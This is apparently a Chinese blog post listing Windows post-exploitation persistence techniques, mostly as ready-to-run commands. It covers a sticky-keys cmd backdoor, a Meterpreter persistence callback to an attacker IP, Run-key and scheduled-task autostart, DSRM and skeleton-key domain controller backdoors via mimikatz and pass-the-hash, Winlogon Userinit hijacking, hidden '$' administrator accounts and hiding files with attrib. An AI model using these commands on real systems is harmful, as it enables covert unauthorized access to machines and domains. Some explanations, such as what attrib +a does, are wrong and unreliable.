粘滞键后门
Windows 主机上连续按 5 次 “shift” 键,就可调出粘滞键。而如果能够替换 sethc.exe 这个文件成 cmd.exe 那么连续按 5 次 shift
键将弹出命令行窗口
cd C:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
需要拥有对该文件的完全控制权限
开机自启动后门
msf 可以用 persistence 在注册表创建开机启动任务
meterpreter > run persistence -X -i 5 -p 端口 -r 回连地址
- 在目标主机的注册表键 HKLM Software Microsoft Windows Currentversion run中添加键值,以便自启动
- -X 参数指定启动的方式为开机自启动
- -i 参数指定反向连接的时间间隔
- -p 参数指定回连的端口
- -r 参数指定回连的攻击者 ip
你也可以直接用命令行
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "backdoor" /t REG_SZ /d "程序路径" /f
格式
REG ADD "注册表路径" /v "值名" /t "类型" /d "值数据" /f
命令行也可以用 SCHTASKS 创建
SCHTASKS /CREATE /SC ONSTART /TN "任务名称" /TR "程序路径"
当然可以选择更加简单的方式,把程序放在 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
这个目录下就可以实现开机自启动。
DSRM
DSRM (Directory Services Restore Mode,目录恢复模式) 是 Windows 域环境中的域控制器的安全模式启动项。域控都有一个本地管理员账户也就是 DSRM 账户
ntdsutil
set DSRM password
SYNC FROM DOMAIN ACCOUNT [username]填写一个域用户,这个域用户的 NTLM HASH 你肯定要知道啊
Q
Q
接着添加注册表
reg add " HKLM\System\CurrentControlSet\Control\Lsa" /v DSRMAdminLogonBehavior /t REG_DWORD /d 2
2 表示在任何情况下都可以使用 DSRM 管理员账号登录域控制器
然后你就可以在任何一台域用户机器上,打开 mimikatz pth 过去了
privilege::debug
sekurlsa::pth /domain:域空主机名 /user:Administrator /ntml:那个域用户的hash
Skeleton Key
用 mimikatz 可以安装万能密码 mimikatz
,在域控上执行
privilege::debug
misc::skeleton # 注入 skeleton key
然后就可以
net use \\域控Ip\\ipc$ "mimikatz" /user:whoami的值[比如 hacke\administrator]
直接建立 ipc 连接
DLL 劫持
dll 劫持主要是因为系统加载 dll 文件的顺序差异优先级问题,如果攻击者可以将恶意的 dll 放在优先于正常的 dll 所在目录,那么就能够优先加载恶意的 dll 文件
加载顺序
- 程序所在⽬录。
- 加载 DLL 时所在的当前⽬录。
- 系统⽬录即 SYSTEM32 ⽬录。
- 16位系统⽬录即 SYSTEM ⽬录。
- Windows ⽬录。
- PATH 环境变量中列出的⽬录
Winlogon 用户登录初始化
winlogon.exe 在用户还没有登录系统之前就已经存在,并与密码验证服务相关的重要任务精密相关。
直接修改注册表
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe," /f
powershell 更改使其执行 cmd
Set-ItemProperty "HKreLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,C:\Windows\system32\cmd.exe"
Login Scripts 后门
Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。注册表位置是 “HKEY_CURRENT_USER\Environment”
如下是一个添加一个注册表项为 backdoor ,能够弹出计算器的命令
reg add HKEY_CURRENT_USER\Environment /v backdoor /t REG_SZ /d "C:\Windows\System32\calc.exe"
但是这个好像没什么用
进程注入
如果是 user 权限可以考虑注入 exploer.exe 如果是 system 权限则可以注入 winlogon.exe 或者 lassa.exe
影子用户
net user test$ 123456 /add
net localgroup administrators test$ /add
因为用户名后面有个 $, 所以 net user 是查看不到这个用户的
但是在登录的时候会发现,如果可以远程登录的话可以手动修改注册表相关操作
attrib
最近学到了一个很神奇的技巧
attrib +s +a +h +r 文件路径名
可以隐藏文件夹或者文件。并且在资源管理器等程序中都不可见。不影响程序的可执行性。
这是因为
- +s 表示将文件设置为系统文件,使得操作系统在运行时将其隐藏起来。
- +a 表示将文件设置为只读文件,防止文件被修改或删除。
- +h 表示将文件设置为隐藏文件,使得文件在资源管理器等应用程序中不可见。
- +r 表示将文件设置为只读文件,与 +a 参数一样,防止文件被修改或删除。
但是测试发现将 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
文件夹下的程序执行了上述命令操作以后开机便不再运行了,真是可惜。具体这个技巧能够用到哪个地方还请各位发挥自己的脑洞啦。
query
这个命令只有在 Windows 专业版才有,家庭版是没有的。
计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Utilities
这一栏也只有专业版的注册表有
这个命令可以执行注册表下的命令。
比如 query user
执行 quser.exe
命令,query session
执行 qwinsta.exe
命令
在管理员权限下使用
reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Utilities\query" /v shule /t REG_MULTI_SZ /d 0\01\0shule\0calc.exe
然后就可以用
query shule
弹出计算器
v
参数是任意命名t
参数指定类型d
参数指定注册表的值
这个技巧或许可以在隐藏命令的时候有用,特定的后门,发挥脑洞吧!